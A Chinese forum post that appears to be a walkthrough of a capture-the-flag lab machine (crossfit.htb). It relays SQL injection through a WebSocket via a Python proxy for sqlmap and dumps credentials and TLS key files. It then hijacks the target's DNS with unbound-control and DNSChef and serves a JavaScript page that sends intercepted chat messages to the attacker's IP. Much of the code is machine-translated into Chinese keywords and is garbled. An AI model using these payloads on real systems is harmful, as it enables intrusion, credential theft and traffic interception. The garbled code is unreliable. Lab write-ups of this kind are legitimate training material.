电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1527 人浏览分享

利用WebSocket接口中转注入注入实战

[复制链接]
1527 0
本次渗透实战的主要流程为:

1、信息收集,发现WebSocket接口;
2、使用burp对WebSocket接口进行测试,发现存在sql注入漏洞;
3、写中转注入脚本,通过sqlmap跑出数据库内容,并读取重要的配置文件;
4、通过未绑定搭建DNS服务器 结合之前的配置文件 使用dnschef进行DNS调查;
5、DNS流量劫持后获取了用户密码。
主要的知识点在于:基于Web Socket接口的中转注入 DNS服务器的搭建与现状 下面开始商业渗透实战之旅。

信息收集

有真实的ip 那上来肯定是端口扫描一波 看看哪些服务:

QQ截图20210805112727.png

QQ截图20210805112754.png

单从端口上看 重点应该在网络服务上 解锁这个服务在详细介绍。

在来一波目录扫描:

9998.png

发现一些登录页面 逐一尝试并没有取得突破。

wfuzz -u http://10.10.10.232 -H  主机:FUZZ.crossfit.htb” -w /root/Desktop/domain.txt

9997.png

发现了几个子域 在etc/hosts文件里添加上:

10.10.10.232 crossfit.htb雇员.crossfit.htbgym.crossfit.htb crossfit-club.htb

逐个点开观察 终于在打嗝里看到了一个地球的东西;

QQ截图20210805113005.png

接触前的少 一波资料后 简单介绍如下:

网络套接字

初次接触 WebSocket 的人 都问同样的问题:我们已经有了 HTTP 协议 为什么还需要另一个协议?能带来什么好处?
答案很简单 因为 HTTP 协议有一个缺陷:通信只能由客户端发起。
举例来说 我们想了解今天的天气 只能是客户端向服务器发出请求 服务器返回不到结果。
HTTP 协议做服务器主动向客户端发送信息。

我们单向请求的获知 偷窥了如果服务器有持续的状态变化 客户端要就非常麻烦我们。的信息。最精彩的场景就是聊天室。
轮询的效率低,非常浪费资源 因为必须不停连接 或者 HTTP 连接总是打开。因此 工程师们一直在寻找
有没有更好的方法。WebSocket 就是这样发明的。
它的最大特点就是 服务器可以主动向客户端发送信息 客户端也可以主动向服务器发送信息
是真正的对外传播技术的一种。

QQ截图20210805113159.png

现在回到我们本次网络;
  1. python3 -m websockets ws://gym.crossfit.htb/ws/
复制代码

9996.png

  1. python3 -m websockets ws://10.10.10.232/ws/
复制代码

9993.png

实际测试这两个效果是一样的 都可以看到这种json格式的数据联想到就是sql注入 命令执行 反序列化等。

burp可以抓到websockets的包 感叹神器的厂商

9992.png

还可以进行修改;

9991.png

最终测试医学参数参数存在注入,上sqlmap失效,不能在自己写脚本。

sqlmap中转注入

先用直接sqlmap跑:
  1. sqlmap --url "ws://10.10.10.232/ws/" --data='{"params":"help","token":"a5
  2. e6c5aade60a2c46198932182
  3. 80a45d2a142e3bcf583c8e19593f'-b's
复制代码

无法成功。

9990.png

看下payload;(直观概括理解)

8999.png

8998.png

一次多次都没有成功 经过详细研究了ws协议的传输过程 写了一个中转脚本;
  1. 从 websocket 导入 create_connection
  2. 进口重新
  3. 从 http.server 导入 BaseHTTPRequestHandler, HTTPServer
  4. 从 urllib.parse 导入取消引用
  5. 进口螺纹
  6. 从 socketserver 导入 ThreadingMixIn
  7. 主机名 = "本地主机"
  8. 服务器端口 = 9000
  9. def xt(msg):
  10.     匹配 = re.findall(r'token":"(.*?)"', msg)
  11.     返回匹配项[0]
  12. def send_msg(msg):
  13.     回复 = ""
  14.     ws = create_connection("ws://gym.crossfit.htb/ws")
  15.     resp = ws.recv()
  16.     cur_token = xt(resp)
  17.     味精 = 取消引用(味精)
  18.     msg = msg.replace('"', "'")
  19.     d = '{"message":"available","params":"'+msg+'","token":"' + cur_token + '"}'
  20.     打印(d)
  21.     ws.send(d)
  22.     resp = ws.recv()
  23.     #打印(响应)
  24.     匹配 = re.findall(r'message":"(.*?)"', resp)
  25.     打印(匹配 [0])
  26.     返回匹配项[0]
  27. #send_msg("1 and 2=2---")
  28. #send_msg("1 and 'a'='a'-- -")
  29. #退出(0)
  30. 类处理程序(BaseHTTPRequestHandler):
  31.     def do_GET(self):
  32.         self.send_response(200)
  33.         参数 = self.path[5:]
  34.         self.send_header('内容类型', '文本')
  35.         self.end_headers()
  36.         resp = send_msg(参数)
  37.         self.wfile.write(bytes(resp, "utf-8"))
  38. 类 ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
  39.     经过
  40. 定义运行():
  41.     服务器 = ThreadingSimpleServer(('0.0.0.0', 9000), 处理程序)
  42.     尝试:
  43.         server.serve_forever()
  44.     除了键盘中断:
  45.         经过
  46. 如果 __name__ == '__main__':
  47.     跑步()
复制代码

经历过程中发现 修改 具体过程不在赘述 大家看就明白了。

8996.png

看下有效载荷:

8992.png

  1. sqlmap -u http://127.0.0.1:9000/?id=1 --dbs --level 5 --risk 3
  2. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "员工" -T 员工 -C 用户名 --dump
  3. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "员工" -T 员工 -C 密码 --dump
  4. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "员工" -T 员工 -C 电子邮件 --dump
  5. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "员工" -T 员工 -C email,
  6. token --dump --fresh-queries --threads 10
复制代码

8991.png

8990.png

这里还可以读取文件,通过血管需要;

6999.png

  1. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  2. plans" -C "password" --file-read /etc/httpd. conf
  3. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  4. plans" -C "password" --file-read /etc/passwd
  5. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  6. plans" -C "password" --file-read /var/unbound/ etc/unbound.conf
  7. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  8. plans" -C "password" --file-read /var/unbound/ etc/tls/unbound_server.key
  9. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  10. plans" -C "password" --file-read /var/unbound/ etc/tls/unbound_control.pem
  11. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  12. plans" -C "password" --file-read /var/unbound/ etc/tls/unbound_control.key
  13. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  14. plans" -C "password" --file-read /var/unbound/ etc/tls/unbound_server.pem
  15. sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_
  16. plans" -C "password" --file-read /etc/relayd.配置文件
复制代码

不用sqlmap的脚本:
  1. #!/usr/bin/python3
  2. 导入json
  3. 从 websocket 导入 create_connection
  4. ws = create_connection("ws://10.10.10.232/ws/")
  5. r = ws.recv()
  6. t = json.loads(r)['token']
  7. print("# 打印 "employees" 表格以获取电子邮件 ... ")
  8. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,GROUP_CONCAT(id,' ',userna
  9. me,' ',password,' ',email ) 来自employees.employees---","token":"" + t + ""}")
  10. r = ws.recv()
  11. t = json.loads(r)['token']
  12. 打印 ("{:<2} {:<13} {:<64} {:<32}".format("id","username","password","email"))
  13. 对于 l in r[r.index("name: ")+6:len(r)-3].split(","):
  14.     a = l.split(" ")
  15.     打印 ("{:<2} {:<13} {:<64} {:<32}".format(a[0],a[1],a[2],a[3]))
  16. print("\n#正在下载"/var/unbound/etc/unbound.conf"文件...", end="")
  17. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unb
  18. ound/etc/unbound.conf')) -- -","token":"" + t + ""}")
  19. r = ws.recv()
  20. t = json.loads(r)['token']
  21. with open('unbound.conf', 'w') as f:
  22.     f.write(bytearray.fromhex(r[r.index("name:")+6:len(r)-3]).decode())
  23. 打印(“完成”)
  24. print("# 正在下载"/var/unbound/db/root.key" 文件...", end="")
  25. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unbo
  26. und/db/root.key')) -- -","token":"" + t + ""}")
  27. r = ws.recv()
  28. t = json.loads(r)['token']
  29. with open('root.key', 'w') as f:
  30.     f.write(bytearray.fromhex(r[r.index("name:")+6:len(r)-3]).decode())
  31. 打印(“完成”)
  32. print("# 正在下载"/var/unbound/etc/tls/unbound_server.pem" 文件...", end="")
  33. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/
  34. unbound/etc/tls/unbound_server.pem' ))-- -","token":"" + t + ""}")
  35. r = ws.recv()
  36. t = json.loads(r)['token']
  37. with open('unbound_server.pem', 'w') as f:
  38.     f.write(bytearray.fromhex(r[r.index("name:")+6:len(r)-3]).decode())
  39. 打印(“完成”)
  40. print("#正在下载"/var/unbound/etc/tls/unbound_control.key"文件...", end="")
  41. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/unb
  42. ound/etc/tls/unbound_control.key' ))-- -","token":"" + t + ""}")
  43. r = ws.recv()
  44. t = json.loads(r)['token']
  45. with open('unbound_control.key', 'w') as f:
  46.     f.write(bytearray.fromhex(r[r.index("name:")+6:len(r)-3]).decode())
  47. 打印(“完成”)
  48. print("#正在下载"/var/unbound/etc/tls/unbound_control.pem"文件...", end="")
  49. ws.send("{"message":"available","params":"0 UNION ALL SELECT 1,HEX(LOAD_FILE('/var/un
  50. bound/etc/tls/unbound_control.pem' ))-- -","token":"" + t + ""}")
  51. r = ws.recv()
  52. with open('unbound_control.pem', 'w') as f:
  53.     f.write(bytearray.fromhex(r[r.index("name:")+6:len(r)-3]).decode())
  54. 打印(“完成”)
  55. ws.close()
复制代码

运行后结果如下:
6998.png

一个用户名和哈希 破解波没有结果卡住了。
之后再次查看namp的扫描结果 到8953端口运行未绑定的服务 就了解了详细的资料 了解了基本的使用
时间和原理结合sqlmap可以读取文件,将未绑定的所有配置文件读取到本地,可以冒充DNS服务 实现
DNS服务。下面逐步实现:

无界搭建DNS服务器

unbound是假相对简单的DNS服务软件 相对于bind9的
复杂配置更适合构建DNS服务器使用。
这里只做简单的一个使用的基本介绍 便于了解浏览的思路。
先看看配置文件(渗透作对各种配置文件要有深刻的理解):
  1. 配置unbound.conf文件

  2. 服务器:
  3.         冗长:1
  4.         num-threads: 2 #线程数
  5.         interface: 127.0.0.1 #监听地址(一般写本机内网ip)
  6.         接口:::0
  7.         端口:53#端口
  8.         so-re-useport: yes #为每个线程的粒子查询打开专用侦听。可以同步地将分发分发到线程
  9.         cache-min-ttl: 60 #解析最小缓存时间
  10.         cache-max-ttl: 600 #解析最大缓存时间
  11.         传出范围:8192  
  12.         access-control: 10.0.0.0/8 allow #access control(允许10段ip访问本机)
  13.         access-control: 127.0.0.1/8 allow #允许本机访问
  14.         access-control: ::0/0 allow #允许ipv6网段访问
  15.         预取:是的#消息检测元素在它们周边之前被预取保持是最新的
  16.         do-ip4:是的
  17.         do-ip6:是的
  18.         do-udp:是的
  19.         do-tcp: 是
  20.         so-rcvbuf:8m
  21.         so-sndbuf:8m
  22.         msg-cache-size: 64m #消息缓存的字节数。实际值为4 MB。
  23.         rrset-cache-size: 128m #RRset缓存的字节数。
  24.         Outgoing-num-tcp: 256 #为每个线程分配的传出TCP数据
  25.         coming-num-tcp: 102 为线程的#TCP4数据
  26.         include: "zone.conf" #zone.conf文件内容为解析内容,如local-data: "m.baidu.com
  27. A 192.168.10.1",也可以使用下面注释的方式配置解析
  28. # local-data: "m.baidu.com 600 A 192.168.10.1" #其中600为解析查找时间
  29. #Python:
  30. 远程控制:#这个区间为未绑定控制设置。如下配置内容可以控制未绑定服务
  31. 利用未绑定控制命令该服务执行开启、关闭、重启等操作。
  32.         控制启用:是
  33.         控制接口:127.0.0.1
  34.         控制端口:8953
  35.         服务器密钥文件:“/usr/local/unbound/etc/unbound/unbound_server.key”
  36.         服务器证书文件:“/usr/local/unbound/etc/unbound/unbound_server.pem”
  37.         控制密钥文件:“/usr/local/unbound/etc/unbound/unbound_control.key”
  38.         控制证书文件:“/usr/local/unbound/etc/unbound/unbound_control.pem”
  39. forward-zone:#这个区间为转发设置
  40.         名称: ”。”
  41.         转发地址:8.8.8.8
复制代码

启动服务
首先执行./sbin/unbound-checkconf检查配置文件语法 确认无误后进行下一步;
执行/sbin/unbound-control-setup生成秘钥之后才能
使用/sbin/unbound-control命令;
最后执行./sbin/unbound启动服务。
Linux客户端测试。在客户端修改/etc/resolv.conf文件将DNS服务器的IP地址
引导上述所配置的授权DNS服务器的IP地址。

699.png

使用nslookup命令验证DNS查询结果

698.png

可见我们的DNS服务已经运行成功。
在本次渗透中没有那么复杂 根据上面的测试能力理解软件
的运行效果就可以了接下来继续我们的渗透:
在kali里运行:
sudo apt 安装未绑定
新建文件:
触摸 local_zones.conf
之前下载的unbound的配置文件unbound.conf如下:

697.png

修改为自己的路径:

696.png

在kali的apache2网页目录下写入如下2个文件:
  1. echo "<html><head></head><body><script>window.location="http://xcrossfit.htb/g
  2. o.html";</script><p>重定向...< /p></body></html>" > /var/www/html/password-reset.php
复制代码

288.png

  1. echo "<html><head><script src="http://crossfit-club.htb/socket.io/socket.io.js"></script><script>var
  2. s = io.connect( "http://crossfit-club.htb");s.emit("user_join", { username : "Admin" });s.on("private_r
  3. ecv", (d) = > {var xhr = new XMLHttpRequest();xhr.open("GET", "http://10.10.16.9/get.php?s=" + bto
  4. a(JSON.stringify(d)), true );xhr.send();});</script></head><body><p>正在获取数据...</p></body></htm
  5. l>" > /var/www/html /go.html
复制代码

286.png

开启apache2服务;

服务 apache2 启动

访问测试下:

222.png

没问题 下面开启DNS服务;
unbound-control 的基本命令格式:
unbound-control -c my_unbound.conf -s 10.10.10.232@8953 forwar
d_add +i some.attacker.htb。<your_ip>@53
在kali终端里运行:
unbound-control -c ./unbound.conf -s 10.10.10.232@8953 forward_add +i x
employees.crossfit.htb10.10.16.14@53;睡2;
unbound-control -c ./unbound.conf -s 10.10.10.232@8953 forward_add +i xcrossfit.htb。10.10.16.14@53

221.png

在主持人里把这两个市场也包括在内;
  1. 10.10.10.232 crossfit.htb雇员.crossfit.htbgym.crossfit.htb crossfit-club
  2. .htb xcrossfit.htb xemployees.crossfit.htb
复制代码

DNS调查

这里使用DNSChef软件软件来进行DNS调查 下载地址:https : //github.com/iphelix/dnschef
DNSChef 旨在为渗透测试人员和恶意软件提供一个高度可配置的 DNS 代理。
DNS 代理(也称为“假 DNS”)是用于应用程序的程序
网络流量分析以及其他用途的工具。例如 DNS代理可以用于应对 badguy.com 的请求能够引导本地
机器来或终止拦截,而不是桌面互联网上的某个真实主机。
先测试下基本用语:
窗口修改dns服务器:

220.png

dnschef --fakeip=192.168.200.2 --fakedomains=www.baidu.com,
www.qq.com --interface 192.168.200.243
fackip调查到指定的ip,facedomains调查域名

219.png

成功实现了DNS。
在本次渗透测试中运行如下命令:
  1. python3 dnschef.py -i 10.10.16.14 --fakedomains xemployees.crossfit.htb --fakeip 127.0.0.1
  2. --count 2; 睡眠 1; python3 dnschef.py -i 10.10.16.14 --fakedomains xcrossfit.htb,xemployees
  3. .crossfit.htb --fakeip 10.10.16.14
复制代码

218.png

这里透的思路就是:既然我们获取了目标服务器的DNS配置文件,那我们就利用未绑定的搭建一个DNS服务器 配置与目标
服务器相同。在利用DNSChef工具来进行DNS检查,将受害机器的DNS流量全部引导到我们自己搭建的DNS服务器上实现
了流量的劫持,并可以对关键进行拦截与分析,引导受害机器运行我们定义的恶意数据代码。

获取用户密码

利用前面获取的用户名,在kali终端里运行:
  1. curl -s -X "POST" -H "Host: xemployees.crossfit.htb" -H "Content-Type: applic
  2. ation/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" " http
  3. ://10.10.10.232/password-reset.php"
复制代码

看下DNSChef的运行情况:

216.png

查看apache日志/var/log/apache2/access.log 就可以发现;
  1. 10.10.10.232  -   -  [19 /月/ 2021:21:03:31 -0400] “GET /get.php?s=eyJzZW5kZXJfaWQiO
  2. jIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3Ig
  3. eW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9p
  4. ZCI6MjcxOX0= HTTP / 1.1” 404 489 “HTTP://xcrossfit.htb/go.html” "Mozilla/5.0 (X11; O
  5. penBSD amd64; rv:82.0) Gecko/20100101 Firefox/82.0"
复制代码

212.png

对部分base64解码后可得:

211.png

获取了用户的密码,然后ssh登录:

210.png

至此 本次渗透就暂告一段落 话题的提权主要是利用可利用的方法进行的 不是本篇文章的
主题网上各种例子也很多,这里就不赘述了。

后记

对于SQL注入 现在的实战中已经很难找到原生态的SQL注入了 遇到的基本都是需要改造或转换的。从SQL注入本质
来理解就是指网络程序应用对用户输入数据的合法性性没有可以在网络应用程序中预先确定好的查询语句的最后添
加的SQL语句来实现数据库服务器非授权的任意查询,从而进一步得到相应的数据信息。 SQL注入以塑料形态或协
议 是http注入或websocket最终回归到本质,就是要对用户的输入进行合法性,SQL注入检测的方式或只是协议载
体用户起决定作用的还是的输入。

因此思想 为了预防利用websocket进行SQL注入可以采用两种方法:

一是加强对用户输入内容的检查与验证;

二是强迫使用参数化语句来传递用户输入的内容。

在本次渗透实战中如果没有SQL注入漏洞 就无法获取DNS服务器的配置文件 自然还是无法实现DNS服务但内核对用
户输入数据的合法性判断 导致SQL注入漏洞的存在 与websocket协议没有直接的关系 本文仅提供了一种基于
websocket协议进行SQL注入的方法 并在此基础上实现了DNS追踪,流程有亮点 记录下来与大家共同学习。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.